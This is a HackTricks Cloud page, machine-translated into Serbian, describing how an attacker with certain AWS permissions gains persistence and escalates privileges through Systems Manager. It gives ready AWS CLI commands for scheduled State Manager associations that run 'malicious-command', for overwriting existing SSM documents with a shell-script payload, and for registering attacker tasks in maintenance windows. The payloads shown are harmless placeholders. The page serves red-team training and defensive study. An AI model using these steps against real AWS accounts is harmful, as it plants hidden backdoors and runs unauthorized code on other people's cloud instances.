AWS - SSM Perssitence
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
SSM
Za više informacija pogledajte:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
Napadač sa dozvolom ssm:CreateAssociation može da kreira State Manager Association kako bi automatski izvršavao komande na EC2 instancama kojima upravlja SSM. Ove associations mogu biti konfigurisane da se izvršavaju u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Ovaj persistence method funkcioniše sve dok je EC2 instance managed by Systems Manager, SSM agent je pokrenut, i attacker ima permission da kreira associations. Ne zahteva interactive sessions ili eksplicitne ssm:SendCommand permissions. Important:
--schedule-expressionparameter (npr.rate(30 minutes)) mora da poštuje AWS minimum interval od 30 minutes. Za trenutno ili jednokratno izvršavanje, potpuno izostavite--schedule-expression— association će se izvršiti jednom nakon kreiranja.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Attacker sa permissions ssm:UpdateDocument i ssm:UpdateDocumentDefaultVersion može da eskalira privileges tako što menja existing documents. Ovo takođe omogućava persistence unutar tog document. U praksi bi attackeru takođe bio potreban ssm:ListDocuments da dobije names za custom documents, a ako attacker želi da obfuskira svoj payload unutar existing document, ssm:GetDocument bi takođe bio neophodan.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Ispod je primer dokumenta koji može da se koristi za overwrite postojećeg dokumenta. Treba da osiguraš da se tip tvog dokumenta poklapa sa tipom target dokumenta kako bi se izbegli issues sa invnocation. Dokument ispod će, na primer, koristiti ssm:SendCommand i ssm:CreateAssociation primere.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Napadač sa permisijama ssm:RegisterTaskWithMaintenanceWindow i ssm:RegisterTargetWithMaintenanceWindow može da eskalira privilegije tako što će prvo registrovati novi target sa postojećim maintenance window-om, a zatim ažurirati registracijom novog task-a. Ovo omogućava izvršavanje na postojećim target-ovima, ali može i da dozvoli napadaču da kompromituje compute sa različitim rolama registracijom novih target-ova. Ovo takođe omogućava persistence jer se maintenance window task-ovi izvršavaju na unapred definisanom intervalu tokom kreiranja window-a. U praksi, napadaču bi takođe bio potreban ssm:DescribeMaintenanceWindows da bi dobio maintenance window ID-jeve.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

